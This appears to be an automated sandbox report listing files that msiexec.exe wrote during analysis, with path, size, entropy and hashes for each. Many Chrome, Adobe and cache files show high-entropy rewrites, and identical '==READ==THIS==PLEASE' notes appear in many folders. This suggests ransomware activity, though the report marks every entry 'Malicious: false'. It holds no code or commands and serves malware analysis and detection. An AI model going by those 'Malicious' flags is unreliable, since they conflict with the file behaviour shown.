Size (bytes):	6509
Entropy (8bit):	7.96414732129194
Encrypted:	false
MD5:	33B39E2A516EF730A8FA922894F0FBD5
SHA1:	03D455583DDA59215D945AF76AF6293B202F586F
SHA-256:	9446E8F2056FEA3AC1365A809ADA04602606242C396F72FFE42FD1B781C24CBA
SHA-512:	75763AA13B43EB96294B0F84E13106611198872E06FB79F4AF4F35D020ED0ADD9D8D1B42FE7EC2C6340AC8E08B182F83469D813087C321C878F96970C8112267
Malicious:	false

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	896
Entropy (8bit):	6.768789622610236
Encrypted:	false
MD5:	A2270D666AD772CACB9A7AAD78B85EC5
SHA1:	DDB920ECEA12AEA4DD568F85218D615402BEB2A1
SHA-256:	006280C1337A297E7CC32972B6D95F9421A1380BE59D7DC69F8EAFE5221F8FCD
SHA-512:	51D4AE27AD599A9D02E13697ECE7851CA5DC65FFF9C7D172D614F6DB3ECD8A3B5BCA9B18CFE24E4C8073B4E56A6E6B2925E71EFA2E26CA30BA77CE2DE50C705E
Malicious:	false

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	1396
Entropy (8bit):	7.571379246946598
Encrypted:	false
MD5:	06AF878B12D42EBF585290601882B474
SHA1:	110829D130EB996267C23E6D9507388F98636C7E
SHA-256:	E3E4010FB2639EBD91C82FD6ABC06F26E46516E53CFB6D5F55F539160F843016
SHA-512:	8280B95692711BEEF82FCE37E0503D1D897474FFF94A9D76D1FB1F0AFFDE519F31052F7756581734833C1883B1D16AA5DBBD31D4F3FF67E2D0439C4D5199ED14
Malicious:	false

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0724226038BBC96D0D07286FB0FEC0AD
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	574
Entropy (8bit):	3.673587058868518
Encrypted:	false
MD5:	EE5485B981C43B5E63AC92D06F5E9D75
SHA1:	260824F969A93ABC28F3055C0D1E93CD0E92E756
SHA-256:	153E72AD427A60513268B81A8FBAEB4A47EB78009A4CAC16962FB8428DF36739
SHA-512:	7AE21F7F6F49E0E673CC9E849694F9DB5AAC94FF8FBC8F3F3046FC17618AE1B555403555E05AED0D71DDD9A78B9900CECD01D9A252C581B58952ACFD5B7673CE
Malicious:	false

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	342
Entropy (8bit):	3.119876190964252
Encrypted:	false
MD5:	9AD119B3B360015081D9D94B3606AD8B
SHA1:	FB3A55FD7AE2F571CE14B4F12A588E19CE60B650
SHA-256:	7782AB6BA5B318D9C69AACDA57BBE182AC90F6122B003EC3D112513BCB958080
SHA-512:	64F30826003230128DB580E4BA1EA7E1813454869D3BABF5CDC6BD23C400CD979968CC7BBA0C94153861A67F695673DE51B9AAE77DA806BEC2C133A1ADF6AFBF
Malicious:	false

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	204
Entropy (8bit):	2.870568233359946
Encrypted:	false
MD5:	178C5811BAD70DA677977908DDABB122
SHA1:	C4E2EFF4E5AEACAA6B38019392B8324536815847
SHA-256:	1B4E11F02529E88077E9DA1F3571B2C66A0A31BF5667010E94A4E1977D3B3091
SHA-512:	3268825DC352A2FA81B541A38252D83B211DCED9D6F85A6CE6E73CEB0505CAF46DCCFA6CCDA6DECC1F49E2AE6B3CE733E53835252B5A83BE7F0901B52CFF30C2
Malicious:	false

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	514
Entropy (8bit):	3.6575573922039424
Encrypted:	false
MD5:	54CA7122B315B084317435A046F4FECD
SHA1:	439FB75DE3EC087D7EE94B78C52C19E881776C2D
SHA-256:	9489E204A84015DA9C86CEB2D13622C7F4BF61D96EABA2675AFB8069CEA57031
SHA-512:	AA5D6AC67FCC76414D44E1D92170DBD147FBAE444540B4EC86B24B2957BF67E327D9FCC2D1DDD7A82EADAA7CD21B8B4D4069B90A7C9A516D686BA1B0ED0A98BE
Malicious:	false

C:\Users\user\AppData\LocalLow\Microsoft\Internet Explorer\Services\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.649186515228939
Encrypted:	false
MD5:	F034E6FBB4993A98A4A484F552099BD6
SHA1:	95760E68E2EC438E015753CF6C016890244FA774
SHA-256:	62042583B8B5F67F14D2050E3DA15B8252FF4D5B9D2090E38FFC343E7F106803
SHA-512:	52DE1D65B828CECA36A9DAF6A18F3C65547FA57DEE18DA60AC700F2481A4AA23E15FC9A2292E50D3C92EF68E58A3F92CE1B11CEC39057F9E596BAA66A364EBAF
Malicious:	false

C:\Users\user\AppData\LocalLow\Sun\Java\Deployment\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\LocalLow\Sun\Java\Deployment\SystemCache\6.0\32\6c34baa0-177ddc38.idx
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.698102245243259
Encrypted:	false
MD5:	16895071DCF4AD5705CAFA1125680A4F
SHA1:	E6900FA741F3A4010E858A524E13A0875AAF9E68
SHA-256:	28B660710A5CEBCD86FC569454503F0B4B2400744949B51EEF91722A394E7ED3
SHA-512:	49F03D3F3CBD7ADDCD36F8038CA08627490BEEA918838180064BF07756E497FEBD2829957A9C894B1B25E550131099A2217A05C7775D2757E52736BE08274645
Malicious:	false

C:\Users\user\AppData\LocalLow\Sun\Java\Deployment\SystemCache\6.0\32\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\LocalLow\Sun\Java\Deployment\deployment.properties
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.661811173313511
Encrypted:	false
MD5:	1521F78966CE53EC5A1726E6B73A7565
SHA1:	60E51C7D794B95433FC9C674C7A5A292F491D0CE
SHA-256:	AEE4EB9587C8188E1E1289E66BEE9296C295C4D849C09909A72C968EC6914B59
SHA-512:	9F775D2B8524C40F773607038B651E3D18F86E3DB340775A21ED07FE12FE3936CB53C0FF41DDE2908F07E23979F145A16965DB1650D0CA143D40F5B935C6891D
Malicious:	false

C:\Users\user\AppData\Local\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Acrobat\10.0\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Acrobat\10.0\AdobeCMapFnt10.lst
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.691811101959897
Encrypted:	false
MD5:	3B93CFFE2BF1F3589E89349B7BD45BF4
SHA1:	C99A787AA399C4CE181742B1DDD83F6BDB3C16D2
SHA-256:	7A018BB3D28D2AAC97180ADE3C3EE7CE3B6ED8D400367B6889EC79C02522D48D
SHA-512:	0127B1C9C71048297FC6EE905905C75063CA7F4842EFC2EC159D4F904B90783CBB4ED59FEE510F4DAA86C74034E6F734D641BE25FAB6F8DB2169E95F9CAC1AE2
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Acrobat\10.0\AdobeSysFnt10.lst
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.69791337726106
Encrypted:	false
MD5:	6B71C609565B94294D8E40B25A8BBA24
SHA1:	0FB32DF404314BBBA49B2D1A7EB8269742F6A8F3
SHA-256:	F9653EA9061230937199DA1055FDA366E024AC68B468197370AE1E8887F93FDF
SHA-512:	DA3CA58EFD84A9A6844457E902B5D50ADC9FA5E25133C78A87EB921D8311AF3B6AAA550DF83567266654752D0B203C3E031D754BBEF1E65C3E5A6ACD366FBFFA
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Acrobat\10.0\SharedDataEvents
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.748694713706464
Encrypted:	false
MD5:	0059FBBC9D4F64CDD5A6A1D71507921F
SHA1:	E07757B99EF8D909B25076208D4DFF169E5DA3C9
SHA-256:	495615B9DD6D031400F0D487ED5C2A805549094FAAB88B5ABE34DBD4431DB016
SHA-512:	F97F78E67577D74FA86DDF071B43CE51424AB84C9059490F3C2698F75D8846CF9BDC52F43F4B557184BA1EF8E84BF420C1658C77F002EA0A0DAC23401257F6F3
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Acrobat\10.0\UserCache.bin
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.762410461744242
Encrypted:	false
MD5:	20842C87F36DD986C8786470F5C6542E
SHA1:	B72320C258583371DBFA8FC08E35365AFE0702F1
SHA-256:	18C7DE924363A9468188C366213F51D3822FE905782A7B92C0E65E0F2F55EC02
SHA-512:	323F21D04824B13E1D32B960281A28A6540B2418940DFC98AE520611E941B04CFB44E4BB99B314015E10FA1523DD62937D55892F9E349D99F7E2826187F09556
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Acrobat\11.0\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Acrobat\11.0\AdobeCMapFnt11.lst
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.633721575860384
Encrypted:	false
MD5:	5D66B035A5F506D334ED0AFE9D5C27F5
SHA1:	20910E76B3F064119129116F7C24868375A93131
SHA-256:	DB50D8998B372CD1985479E7890B882DCE980CC410141B4448E426E1E3E13588
SHA-512:	D0D76AAAED5D5E1A549540C9F64631A9722C03A738C210B4CC416F1E3125AA6611A34405BE3B861C9A05B7277436317B56AF6F31E3E7FF2E8F5E2AEBA65EEE30
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Acrobat\11.0\AdobeSysFnt11.lst
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.688301107904389
Encrypted:	false
MD5:	B780A601F59B648F023D452B8838ACAF
SHA1:	5B303C74A6B2B043CFF4B29C9B460230E5FED357
SHA-256:	929309373F8BB32DAD6A49C859083F0D5A604054A88E0386C0AE4A92BB93C111
SHA-512:	1FBC23759637B0D37DCE53C6049928CD3AA3564B7BF8C2CCE49DD28B8FAAD4F03B765A2C17F0D733F68CDDBC54EB3B9C8B1E93EE232A7B4DCE72A3653C28222A
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Acrobat\11.0\SharedDataEvents
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.646326935818048
Encrypted:	false
MD5:	BCFED0DC7D5557EE78910DD6870E1123
SHA1:	597AD3FE6D367BAE088A6D0C3FC7C8FAB8DA8701
SHA-256:	FD7D477759CC1BCB47D133F1023C5E11A1F0F906E7528E63C77C7F59A34AAC2A
SHA-512:	7EE3EC478720063A8BA9D338B1B0D533C421AE26C11A00F0A1128CC622BF0389B9E7695A19D2D1E5101847B29FAFD8D0479CF910243E4D8CAC1CF3E577A5A02F
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Acrobat\11.0\UserCache.bin
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.713101659057164
Encrypted:	false
MD5:	CB355C98D66B59B9CC71DECF6A387BFE
SHA1:	FA6A7BD90A5436141F5154E89A488DCB746745FC
SHA-256:	E22512FD1890F609A4A2773BA3010B1AEEEEDDE099618D40033026A0C7BCF5FD
SHA-512:	26BA3C9127C57FBB39FE9040E5F41C7092F9B6864B25A15705617414232C43FDCD548FD65C6080EE16EE490892C7831F04DB78A3C1AE5B053F8EFC6AD4CA9024
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Color\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Color\ACECache11.lst
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6831726600154
Encrypted:	false
MD5:	CF4BECBFB635C619D67C283AB302365F
SHA1:	1398B3296677D8D20BAD5A7E231B4E164B0F8548
SHA-256:	EB823CE906DFBD4903EBF8F88D01CFB82F41F418DC2B53623DC112F77085FD44
SHA-512:	E23E6BB83A5E303DA45C031A2E97AC811EC382F9F95D2F60EE1A11BD111A8C60210D87DF0CCE1E19A748218BA7EC3FE05D72AAE27D5535BC2AEE61EE70674EF2
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Color\Profiles\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Color\Profiles\wsRGB.icc
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.703474560147838
Encrypted:	false
MD5:	014000886933119AB714AE4D75F150AF
SHA1:	B22D889172DA104EB2DDE7171A0DAC1FDB6FB280
SHA-256:	376DAE4E61AD9EE7CE40644E46E2EF25ED9236888E56852434BD6E4A17135B74
SHA-512:	0B740CD50235B53AAF71610EC2ADF18A56CC8837A7A79A092275C454B69C1179033013CD485A7FFBE9C7CD11AFBF48AFC787467990D9570CD0CA579B72AAA811
Malicious:	false

C:\Users\user\AppData\Local\Adobe\Color\Profiles\wscRGB.icc
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.714558533295786
Encrypted:	false
MD5:	265463EA440DB30085198EF4ADA1EAE4
SHA1:	148E288B27D2904E88D6D4AD38DEF88CDBF38CDF
SHA-256:	2E00DAA14EAED40736CB9DE165D20201F6D6B2B4F8C323FAC9C181ADA927A049
SHA-512:	5F14E3B7C85E7FF26C0E3AE2E1B8BCF2DA743A14A1D6D14FCDCF7BA00D6F369013AB1864AE50922246632B77C1C07F05D36841B4E34B7AE5720D9CCD0BD138A4
Malicious:	false

C:\Users\user\AppData\Local\GDIPFONTCACHEV1.DAT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.660740465032105
Encrypted:	false
MD5:	9CACD7EF97051DF140C52964FFF6C55C
SHA1:	5DFDF54E686EC5751D305D85BC269A4CDF45136A
SHA-256:	91BDA5F51A6CBC10E16789E81A239692D7195B57BAC487769BB5D3A44CDFDA7D
SHA-512:	FBA4FA8693184D9768919ADC4EAC18CCC54ACB6D22C3D0B39BBBA5202DAF58808C29888CB6F2853C2A899E2FCFFF0018E8F95A02DCD44942101050D60A7B20F4
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ChromeDWriteFontCache
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6810775763890105
Encrypted:	false
MD5:	DC50C719C41D5D7805ADE355A1868D97
SHA1:	2852F4A475A421F362EEF15D06AA3A429634CDD9
SHA-256:	ED0C0B53EB40AA56C1099DDB3974EA14F96E1D49161E3535FE20048F08BA0229
SHA-512:	91A9196586716DD385828A49955F12ECB619D2D7AA1F040BDAF098AC9FC00591B8071FD3D598FFBC9021ED804DD83750946CCCCFDA96C8314AFB08B403E1568B
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.644285277998131
Encrypted:	false
MD5:	6719742FAF49C08CE4170A8039BC2B3F
SHA1:	A1B2696CB6EF6693167D2B8408473886C7B4A781
SHA-256:	66EF49574029FF6474A9ABAA98D2AD1DCD216EFFAAC1739FF0D8733359432C27
SHA-512:	B170A566CA162F64F01E337A4D777F917B2ADF2A7D82480DE9B6DC6FD3F2ABD8B9C3099ABDDBEC6F89A8FF5CF9B30EC4E3A86324E8A71B5FAD68C321A245425C
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies-journal
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.728413448823669
Encrypted:	false
MD5:	A4E1C17B4F9C8E5D7E794906294F4260
SHA1:	5B97F2A3EEC75EB4E4F436AFEB76DCD8D0D328B5
SHA-256:	54827DFB0621761B8B8B3BC3F7D0F8F96C258A470127F277125DBE3FDB775AE4
SHA-512:	57F7E373FBA65B910B86429D7A257CC652722BD846AC25907E9F8AF7F349A8CC611FFC6D6A161A5A8766053A5C12A1541D53B77A4551EEE03859482F81AA2FED
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Current Session
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.691407668308728
Encrypted:	false
MD5:	CD48804B3B0D30E170614182EB2EC232
SHA1:	A4FD9467ECCE673BF6235E3757C933CEB410459D
SHA-256:	816E8B6A5A2225F4B2947181C449B60441697F084AD861A489C5CC80B4191EF4
SHA-512:	1397950210ACBE0E307373CE0D79EEBF91532679BC9662EC4E1592B1BDCDC30BF69CEFF004BED2F080A46AEF5F3E8F1C76DE843A62A022D532081FE670807426
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\icon_128.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.709851716166333
Encrypted:	false
MD5:	9BBCAC6FCF184B7C709296BB42BBBE39
SHA1:	CA8EAAB4CEA9A70308B58951E93D336A7BBD6451
SHA-256:	718C88BA5F73DA5DFB1850FBC856696841D7C0C8DFBE6C6E2703EBB4BB56BB43
SHA-512:	262407770F547ABFA4BADB4C008BAF302DB20C48178ED0A998C52E889564AACB0B6F08A884E90AD8932A0D5F87A99F69C323B278023B0B7228C4E16F0E3517F2
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\icon_16.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.663590767009475
Encrypted:	false
MD5:	C5F712E490D4C398C81E32E09FB1FA92
SHA1:	A5E6EABFCDE0A12203853A7992E1B3E543E41178
SHA-256:	C07613D0772745AD3A9029DF7168BDC3670E99232154DA2DD86E263716BF2711
SHA-512:	B31E967A374DF91338D45F84ABE71AD99735DEBC20A3D24F0B7B4AE739C291AD27F4511C476B437FDD0A269404D911C11928AA0954390AF8A989146A932C2816
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\main.html
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.658855814051953
Encrypted:	false
MD5:	51BF39882F83C1749EEABF38AF14C090
SHA1:	FC1A578C209873982B14F0ABD5F7464F16C2671E
SHA-256:	D9814D74AA7B45C77D2E65FDF9254DF6424A1A6BF30E6076F1F7EABD4B1A59E7
SHA-512:	B50496A8CA46A7F9BB97EFC3A9004542CCCAE4A8243576630B2165E63FE3333351356A0CEF190C77C39DA0B8FEE12CACD335AB84EACE44FCC647B683A8A325C7
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\main.js
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.635063372121424
Encrypted:	false
MD5:	FD45CFE73FC06897F40A5D008A73C681
SHA1:	FAE10E8242CE1F84EB1AB3EFC0A2BDB9ED17A662
SHA-256:	1CBD64914A668C48CB7C658F284832ABD02FEADA32AC63AEBCB87F9883BA972D
SHA-512:	9102395ABFFCC4AF6C1693F14AF08F67B65F088BB8181B2B6751A214FC22C1A40CD319747DB836E2E896C9BF193EAFA398D7898E1C92E3D9E761347F2832B422
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\manifest.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.673792052417497
Encrypted:	false
MD5:	CD497E8AFF0DA329507C36CB7C38ADBD
SHA1:	CFBEC3F0148DEC9FC4B4AAEDA26C18C67C459877
SHA-256:	5A6FC76E26AA8CFFB91CBC4AE132D58EDACF11174B3B135D18D53B3D3CC02D01
SHA-512:	E4E45CB19ACFABBC5FBB0CE27E6CCBE5A60C4FE74E9221BACF92567C28439B4285D3032776BCBCA145437E80F54729E18F8799BCD5FD87994410F9F7693969CB
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\128.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.674006364508634
Encrypted:	false
MD5:	CC9D04B46BDACEE385B36906F7C5C5D3
SHA1:	BAB22ADB33268E6CA801168BAE3F049832D97861
SHA-256:	6AEC529C4DCD2A0B8DDF50CB9E3149323F4E397BBEB6287BFA6AF04F367E3D4D
SHA-512:	56114FBADA68905086FC4487454A56FD848F04B20AA202CF05A43C16FBB05B9E0D7A7D5E300B73F4DD17AC11ABEC442B79DF5071319DD3F3928A684B9B5E0613
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ar\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
